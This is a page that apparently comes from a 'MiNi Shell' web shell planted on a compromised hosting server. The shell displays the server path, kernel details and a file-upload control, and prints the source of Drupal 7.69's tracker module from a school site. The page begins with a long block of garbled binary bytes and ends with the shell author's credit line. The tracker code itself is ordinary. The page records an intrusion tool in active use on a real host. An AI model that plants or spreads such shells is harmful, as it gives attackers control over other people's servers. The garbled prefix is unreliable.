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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/tracker/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/tracker/tracker.module

<?php

/**
 * @file
 * Tracks recent content posted by a user or users.
 */

/**
 * Implements hook_help().
 */
function tracker_help($path, $arg) {
  switch ($path) {
    case 'admin/help#tracker':
      $output = '<h3>' . t('About') . '</h3>';
      $output .= '<p>' . t('The Tracker module displays the most recently added and updated content on your site, and allows you to follow new content created by each user. This module has no configuration options. For more information, see the online handbook entry for <a href="@tracker">Tracker module</a>.', array('@tracker' => 'http://drupal.org/documentation/modules/tracker/')) . '</p>';
      $output .= '<h3>' . t('Uses') . '</h3>';
      $output .= '<dl>';
      $output .= '<dt>' . t('Navigation') . '</dt>';
      $output .= '<dd>' . t('The Tracker module adds a new menu item to the Navigation menu, called <em>Recent content</em>. You can configure menu items via the <a href="@menus">Menus administration page</a>.', array('@menus' => url('admin/structure/menu'))) . '</dd>';
      $output .= '<dt>' . t('Tracking new and updated site content') . '</dt>';
      $output .= '<dd>' . t("The <a href='@recent'>Recent content</a> page shows new and updated content in reverse chronological order, listing the content type, title, author's name, number of comments, and time of last update. Content is considered updated when changes occur in the text, or when new comments are added. The <em>My recent content</em> tab limits the list to the currently logged-in user.", array('@recent' => url('tracker'))) . '</dd>';
      $output .= '<dt>' . t('Tracking user-specific content') . '</dt>';
      $output .= '<dd>' . t("To follow a specific user's new and updated content, select the <em>Track</em> tab from the user's profile page.") . '</dd>';
      $output .= '</dl>';
      return $output;
  }
}

/**
 * Implements hook_menu().
 */
function tracker_menu() {
  $items['tracker'] = array(
    'title' => 'Recent content',
    'page callback' => 'tracker_page',
    'access arguments' => array('access content'),
    'weight' => 1,
    'file' => 'tracker.pages.inc',
  );
  $items['tracker/all'] = array(
    'title' => 'All recent content',
    'type' => MENU_DEFAULT_LOCAL_TASK,
  );
  $items['tracker/%user_uid_optional'] = array(
    'title' => 'My recent content',
    'page callback' => 'tracker_page',
    'access callback' => '_tracker_myrecent_access',
    'access arguments' => array(1),
    'page arguments' => array(1),
    'type' => MENU_LOCAL_TASK,
    'file' => 'tracker.pages.inc',
  );

  $items['user/%user/track'] = array(
    'title' => 'Track',
    'page callback' => 'tracker_page',
    'page arguments' => array(1, TRUE),
    'access callback' => '_tracker_user_access',
    'access arguments' => array(1),
    'type' => MENU_LOCAL_TASK,
    'file' => 'tracker.pages.inc',
  );
  $items['user/%user/track/content'] = array(
    'title' => 'Track content',
    'type' => MENU_DEFAULT_LOCAL_TASK,
  );

  return $items;
}

/**
 * Implements hook_cron().
 *
 * Updates tracking information for any items still to be tracked. The variable
 * 'tracker_index_nid' is set to ((the last node ID that was indexed) - 1) and
 * used to select the nodes to be processed. If there are no remaining nodes to
 * process, 'tracker_index_nid' will be 0.
 */
function tracker_cron() {
  $max_nid = variable_get('tracker_index_nid', 0);
  $batch_size = variable_get('tracker_batch_size', 1000);
  if ($max_nid > 0) {
    $last_nid = FALSE;
    $result = db_query_range('SELECT nid, uid, status FROM {node} WHERE nid <= :max_nid ORDER BY nid DESC', 0, $batch_size, array(':max_nid' => $max_nid), array('target' => 'slave'));

    $count = 0;

    foreach ($result as $row) {
      // Calculate the changed timestamp for this node.
      $changed = _tracker_calculate_changed($row->nid);

      // Remove existing data for this node.
      db_delete('tracker_node')
        ->condition('nid', $row->nid)
        ->execute();
      db_delete('tracker_user')
        ->condition('nid', $row->nid)
        ->execute();

      // Insert the node-level data.
      db_insert('tracker_node')
        ->fields(array(
          'nid' => $row->nid,
          'published' => $row->status,
          'changed' => $changed,
        ))
        ->execute();

      // Insert the user-level data for the node's author.
      db_insert('tracker_user')
        ->fields(array(
          'nid' => $row->nid,
          'published' => $row->status,
          'changed' => $changed,
          'uid' => $row->uid,
        ))
        ->execute();

      $query = db_select('comment', 'c', array('target' => 'slave'));
      // Force PostgreSQL to do an implicit cast by adding 0.
      $query->addExpression('0 + :changed', 'changed', array(':changed' => $changed));
      $query->addField('c', 'status', 'published');
      $query
        ->distinct()
        ->fields('c', array('uid', 'nid'))
        ->condition('c.nid', $row->nid)
        ->condition('c.uid', $row->uid, '<>')
        ->condition('c.status', COMMENT_PUBLISHED);

      // Insert the user-level data for the commenters (except if a commenter
      // is the node's author).
      db_insert('tracker_user')
        ->from($query)
        ->execute();

      // Note that we have indexed at least one node.
      $last_nid = $row->nid;

      $count++;
    }

    if ($last_nid !== FALSE) {
      // Prepare a starting point for the next run.
      variable_set('tracker_index_nid', $last_nid - 1);

      watchdog('tracker', 'Indexed %count content items for tracking.', array('%count' => $count));
    }
    else {
      // If all nodes have been indexed, set to zero to skip future cron runs.
      variable_set('tracker_index_nid', 0);
    }
  }
}

/**
 * Access callback for tracker/%user_uid_optional.
 */
function _tracker_myrecent_access($account) {
  // This path is only allowed for authenticated users looking at their own content.
  return $account->uid && ($GLOBALS['user']->uid == $account->uid) && user_access('access content');
}

/**
 * Access callback for user/%user/track.
 */
function _tracker_user_access($account) {
  return user_view_access($account) && user_access('access content');
}

/**
 * Implements hook_node_insert().
 *
 * Adds new tracking information for this node since it's new.
 */
function tracker_node_insert($node, $arg = 0) {
  _tracker_add($node->nid, $node->uid, $node->changed);
}

/**
 * Implements hook_node_update().
 *
 * Adds tracking information for this node since it's been updated.
 */
function tracker_node_update($node, $arg = 0) {
  _tracker_add($node->nid, $node->uid, $node->changed);
}

/**
 * Implements hook_node_delete().
 *
 * Deletes tracking information for a node.
 */
function tracker_node_delete($node, $arg = 0) {
  db_delete('tracker_node')
    ->condition('nid', $node->nid)
    ->execute();
  db_delete('tracker_user')
    ->condition('nid', $node->nid)
    ->execute();
}

/**
 * Implements hook_comment_update().
 *
 * Comment module doesn't call hook_comment_unpublish() when saving individual
 * comments so we need to check for those here.
 */
function tracker_comment_update($comment) {
  // comment_save() calls hook_comment_publish() for all published comments
  // so we need to handle all other values here.
  if ($comment->status != COMMENT_PUBLISHED) {
    _tracker_remove($comment->nid, $comment->uid, $comment->changed);
  }
}

/**
 * Implements hook_comment_publish().
 *
 * This actually handles the insert and update of published nodes since
 * comment_save() calls hook_comment_publish() for all published comments.
 */
function tracker_comment_publish($comment) {
  _tracker_add($comment->nid, $comment->uid, $comment->changed);
}

/**
 * Implements hook_comment_unpublish().
 */
function tracker_comment_unpublish($comment) {
  _tracker_remove($comment->nid, $comment->uid, $comment->changed);
}

/**
 * Implements hook_comment_delete().
 */
function tracker_comment_delete($comment) {
  _tracker_remove($comment->nid, $comment->uid, $comment->changed);
}

/**
 * Updates indexing tables when a node is added, updated, or commented on.
 *
 * @param $nid
 *   A node ID.
 * @param $uid
 *   The node or comment author.
 * @param $changed
 *   The node updated timestamp or comment timestamp.
 */
function _tracker_add($nid, $uid, $changed) {
  $node = db_query('SELECT nid, status, uid, changed FROM {node} WHERE nid = :nid', array(':nid' => $nid))->fetchObject();

  // Adding a comment can only increase the changed timestamp, so our
  // calculation here is simple.
  $changed = max($node->changed, $changed);

  // Update the node-level data.
  db_merge('tracker_node')
    ->key(array('nid' => $nid))
    ->fields(array(
      'changed' => $changed,
      'published' => $node->status,
    ))
    ->execute();

  // Create or update the user-level data, first for the user posting.
  db_merge('tracker_user')
    ->key(array(
      'nid' => $nid,
      'uid' => $uid,
    ))
    ->fields(array(
      'changed' => $changed,
      'published' => $node->status,
    ))
    ->execute();
  // Update the times for all the other users tracking the post.
  db_update('tracker_user')
    ->condition('nid', $nid)
    ->fields(array(
      'changed' => $changed,
      'published' => $node->status,
    ))
    ->execute();
}

/**
 * Determines the max timestamp between $node->changed and the last comment.
 *
 * @param $nid
 *   A node ID.
 *
 * @return
 *  The $node->changed timestamp, or most recent comment timestamp, whichever
 *  is the greatest.
 */
function _tracker_calculate_changed($nid) {
  $changed = db_query('SELECT changed FROM {node} WHERE nid = :nid', array(':nid' => $nid), array('target' => 'slave'))->fetchField();
  $latest_comment = db_query_range('SELECT cid, changed FROM {comment} WHERE nid = :nid AND status = :status ORDER BY changed DESC', 0, 1, array(
    ':nid' => $nid,
    ':status' => COMMENT_PUBLISHED,
  ), array('target' => 'slave'))->fetchObject();
  if ($latest_comment && $latest_comment->changed > $changed) {
    $changed = $latest_comment->changed;
  }
  return $changed;
}

/**
 * Cleans up indexed data when nodes or comments are removed.
 *
 * @param $nid
 *  The node ID.
 * @param $uid
 *   The author of the node or comment.
 * @param $changed
 *   The last changed timestamp of the node.
 */
function _tracker_remove($nid, $uid = NULL, $changed = NULL) {
  $node = db_query('SELECT nid, status, uid, changed FROM {node} WHERE nid = :nid', array(':nid' => $nid))->fetchObject();

  // The user only keeps his or her subscription if both of the following are true:
  //   (1) The node exists.
  //   (2) The user is either the node author or has commented on the node.
  $keep_subscription = FALSE;

  if ($node) {
    // Self-authorship is one reason to keep the user's subscription.
    $keep_subscription = ($node->uid == $uid);

    // Comments are a second reason to keep the user's subscription.
    if (!$keep_subscription) {
      // Check if the user has commented at least once on the given nid.
      $keep_subscription = db_query_range('SELECT COUNT(*) FROM {comment} WHERE nid = :nid AND uid = :uid AND status = :status', 0, 1, array(
        ':nid' => $nid,
        ':uid' => $uid,
        ':status' => COMMENT_PUBLISHED,
      ))->fetchField();
    }

    // If we haven't found a reason to keep the user's subscription, delete it.
    if (!$keep_subscription) {
      db_delete('tracker_user')
        ->condition('nid', $nid)
        ->condition('uid', $uid)
        ->execute();
    }

    // Now we need to update the (possibly) changed timestamps for other users
    // and the node itself.
    // We only need to do this if the removed item has a timestamp that equals
    // or exceeds the listed changed timestamp for the node.
    $tracker_node = db_query('SELECT nid, changed FROM {tracker_node} WHERE nid = :nid', array(':nid' => $nid))->fetchObject();
    if ($tracker_node && $changed >= $tracker_node->changed) {
      // If we're here, the item being removed is *possibly* the item that
      // established the node's changed timestamp.

      // We just have to recalculate things from scratch.
      $changed = _tracker_calculate_changed($nid);

      // And then we push the out the new changed timestamp to our denormalized
      // tables.
      db_update('tracker_node')
        ->fields(array(
          'changed' => $changed,
          'published' => $node->status,
        ))
        ->condition('nid', $nid)
        ->execute();
      db_update('tracker_node')
        ->fields(array(
          'changed' => $changed,
          'published' => $node->status,
        ))
        ->condition('nid', $nid)
        ->execute();
    }
  }
  else {
    // If the node doesn't exist, remove everything.
    db_delete('tracker_node')
      ->condition('nid', $nid)
      ->execute();
    db_delete('tracker_user')
      ->condition('nid', $nid)
      ->execute();
  }
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com